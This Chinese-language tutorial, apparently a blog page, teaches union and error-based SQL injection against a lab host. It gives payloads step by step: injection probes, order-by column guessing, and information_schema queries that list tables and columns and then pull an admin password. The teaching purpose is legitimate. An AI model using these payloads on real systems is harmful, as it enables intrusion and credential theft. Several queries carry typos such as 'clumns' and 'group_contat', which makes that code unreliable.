顯錯注入
步驟1:判斷是否存在注入點
步驟2:猜解字段數
步驟3:聯合查詢找出輸出點
步驟4:去系統自帶庫查詢表名和欄位名
步驟5:查詢我們需要的欄位名
步驟1:判斷是否存在注入點
192.168.1.10/1/? id = 1
這裡可以用id = 1 '來確定是否存在注入點,192.168.1.10/1/? id = 1 and 1 = 1
**注:**and 1 = 1非常容易被過濾掉
或者用sleep(n)函式來確認是否存在注入點:192.168.1.10/1/? id = 1 and sleep ( 10 )
如果網頁存在延遲說明存在注入點
步驟2:猜解字段數
order by 後面跟字段,可以試出資料庫有多少個字段
order by 1: 以第乙個字段排序
order by 2:以第二個字段排序
order by 4:報錯,因為沒有第四個字段
步驟3:聯合查詢找出輸出點
(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2
輸出:2
(2)輸入:192.168.1.10/1/? id = 1 union select 1,2
輸出:正常頁面
輸入:192.168.1.10/1/? id = 1 union select 1,2 limit 0,1
(and 1 = 2)這裡的不需要報錯也可以使用聯合查詢
select 1,2 這裡的1,2不是必須,1和2好分辨
limit 0,1 表示第乙個資料只顯示1個
limit 1,1 表示第二個資料只顯示1個
**注:**聯合查詢 的前一段和後一段的字段數必須要相等
步驟4:去系統自帶庫查詢表名和欄位名
查詢表名
database( )函式:判斷是在哪個資料庫中
(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,database()
輸出:maoshe (顯示在maoshe這個資料庫裡)
(2)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables
輸出:2
information_schema :系統自帶表名
.tables:表
information_schema.tables:代表這個庫里的表名
(3)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables where tables_schmea = 』 maoshe 』
輸出:未報錯
tables_schmea:指定這個表名是maoshe
(4)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』
輸出:admin (admin如果不是想要查詢的表名)
table_name:查詢表名
(5)(admin如果不是想要查詢的表名)
輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 1,1
輸出:adminadmin(第二個表名)
(6)(adminadmin如果不是想要查詢的表名)
輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 2,1
輸出:drr(第三個表名)
(7)(drr如果不是想要查詢的表名)
輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 3,1
輸出:未顯示 說明只有兩個表名
查詢欄位名
(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』
輸出:id
clumns:系統自帶欄位名
(2)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』
limit 1,1
輸出:usename
(3)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』
limit 2,1
輸出:password
步驟5:查詢我們需要的欄位名
(1)輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,password from admin
輸出:helloworld
閉合可以用#、%23、–+、–空格(–%20)
其中#和–+在mysql中常用
常用函式:
group_concat( ) 返回由屬於一組的列值連線組合而成的結果
ascll(char) 返回字元的ascll碼值
database( ) 返回當前資料庫名
user()或system_user()返回當前登入使用者名稱
version()返回mysql伺服器的版本
sleep(n) 休眠n秒
and 1 = 1 容易被過濾,可以用and sleep(n)
sleep 有延時說明已經被當成sql語句去執行,所以存在注入
輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(table_name) from information_schema.tables where table_schema = 』 maoshe 』
輸出:admin,adminadmin,drr 查詢所有表名
輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(column_name) from information_schema.columns where table_schema = 』 qwer 』
輸出:qwer,qwer,qwer 查詢所有欄位名
sql注入之顯錯注入
1.判斷是否存在注入點 在正常輸入後面新增and 1 1 檢視是否正常回顯。如果一切正常說明該處存在注入點。是資料庫查詢的結束標誌。id 1 and 1 1 這裡的?id 1 使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式 2.猜解字段數。每乙個資料庫查詢語句的結果都是乙個 使用order...
mysql錯誤回顯注入 sql注入 顯錯注入
前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...
SQL注入原理和分析 顯錯注入
sql注入本質 談到sql注入前我們先談談什麼是注入 注入攻擊的本質,是把使用者輸入的資料當做 執行 有兩個關鍵條件 1.使用者輸入的資料控制輸入 2.原本程式要執行的 拼接了使用者輸入的資料然後進行執行 sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的 執行。sql...